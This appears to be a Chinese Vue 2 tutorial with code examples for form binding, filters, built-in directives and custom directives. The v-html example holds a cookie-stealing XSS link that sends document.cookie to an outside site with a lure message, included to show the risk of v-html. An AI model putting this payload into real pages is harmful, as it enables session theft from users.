文章目录
- 1 收集表单数据
- 2 过滤器
- 3 内置指令
- 3.1 v-text指令
- 3.2 v-html指令
- 3.3 v-cloak指令
- 3.4 v-once指令
- 3.5 v-pre指令
- 4 自定义指令
-
1 收集表单数据
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>收集表单数据</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><form @submit.prevent="demo">账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>密码：<input type="password" v-model="userInfo.password"> <br/><br/>年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>性别：男<input type="radio" name="sex" v-model="userInfo.sex" value="male">女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>爱好：学习<input type="checkbox" v-model="userInfo.hobby" value="study">打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br/><br/>所属校区<select v-model="userInfo.city"><option value="">请选择校区</option><option value="beijing">北京</option><option value="shanghai">上海</option><option value="shenzhen">深圳</option><option value="wuhan">武汉</option></select><br/><br/>其他信息：<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/><input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><button>提交</button></form></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{userInfo:{account:'',password:'',age:18,sex:'female',hobby:[],city:'beijing',other:'',agree:'' }},methods: {demo(){console.log(JSON.stringify(this.userInfo))}}})</script>
</html>
2 过滤器
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>过滤器</title><script type="text/javascript" src="../js/vue.js"></script><script type="text/javascript" src="../js/dayjs.min.js"></script></head><body><div id="root"><h2>显示格式化后的时间</h2><h3>现在是：{{fmtTime}}</h3><h3>现在是：{{getFmtTime()}}</h3><h3>现在是：{{time | timeFormater}}</h3><h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3><h3 :x="msg | mySlice">尚硅谷</h3></div><div id="root2"><h2>{{msg | mySlice}}</h2></div></body><script type="text/javascript">Vue.config.productionTip = falseVue.filter('mySlice',function(value){return value.slice(0,4)})new Vue({el:'#root',data:{time:1621561377603, msg:'你好，尚硅谷'},computed: {fmtTime(){return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},methods: {getFmtTime(){return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')}},filters:{timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){return dayjs(value).format(str)}}})new Vue({el:'#root2',data:{msg:'hello,atguigu!'}})</script>
</html>
3 内置指令
3.1 v-text指令
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-text指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><div>你好，{{name}}</div><div v-text="name"></div><div v-text="str"></div></div></body><script type="text/javascript">Vue.config.productionTip = false new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊！</h3>' }})</script>
</html>
3.2 v-html指令
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><div>你好，{{name}}</div><div v-html="str"></div><div v-html="str2"></div></div></body><script type="text/javascript">Vue.config.productionTip = false new Vue({el:'#root',data:{name:'尚硅谷',str:'<h3>你好啊！</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',}})</script>
</html>
3.3 v-cloak指令
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-cloak指令</title><style>[v-cloak]{display:none;}</style></head><body><div id="root"><h2 v-cloak>{{name}}</h2></div><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script></body><script type="text/javascript">console.log(1)Vue.config.productionTip = false new Vue({el:'#root',data:{name:'尚硅谷'}})</script>
</html>
3.4 v-once指令
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-once指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 v-once>初始化的n值是:{{n}}</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false new Vue({el:'#root',data:{n:1}})</script>
</html>
3.5 v-pre指令
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-pre指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2 v-pre>Vue其实很简单</h2><h2>当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button></div></body><script type="text/javascript">Vue.config.productionTip = false new Vue({el:'#root',data:{n:1}})</script>
</html>
4 自定义指令
4.1 自定义指令
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>自定义指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><h2>{{name}}</h2><h2>当前的n值是：<span v-text="n"></span> </h2><h2>放大10倍后的n值是：<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr/><input type="text" v-fbind:value="n"></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{name:'尚硅谷',n:1},directives:{big(element,binding){console.log('big',this) element.innerText = binding.value * 10},fbind:{bind(element,binding){element.value = binding.value},inserted(element,binding){element.focus() },update(element,binding){element.value = binding.value}}}})</script>
</html>
4.2 回顾一个DOM操作
<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>回顾一个DOM操作</title><style>.demo{background-color: orange;}</style></head><body><button id="btn">点我创建一个输入框</button><script type="text/javascript" >const btn = document.getElementById('btn')btn.onclick = ()=>{const input = document.createElement('input')input.className = 'demo'input.value = 99input.onclick = ()=>{alert(1)}document.body.appendChild(input) input.focus() console.log(input.parentElement)}</script></body>
</html>
